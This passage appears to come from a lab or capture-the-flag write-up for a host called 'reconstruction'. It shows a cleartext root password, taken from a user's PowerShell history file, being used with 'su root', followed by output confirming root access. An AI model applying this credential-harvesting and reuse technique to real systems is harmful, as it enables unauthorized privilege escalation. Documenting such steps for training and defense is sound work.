CLEARTEXT Credential
Validating the CLEARTEXT Credential found in the PowerShell history file of the jack
user
jack@reconstruction:~$ su root
Password: FlauntHiddenMotion845
root@reconstruction:/home/jack# whoami
root
root@reconstruction:/home/jack# hostname
reconstruction
root@reconstruction:/home/jack# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.209.103 netmask 255.255.255.0 broadcast 192.168.209.255
ether 00:50:56:9e:77:35 txqueuelen 1000 (Ethernet)
RX packets 9768 bytes 4688119 (4.6 MB)
RX errors 0 dropped 120 overruns 0 frame 0
TX packets 5500 bytes 1113309 (1.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 134 bytes 11292 (11.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 134 bytes 11292 (11.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise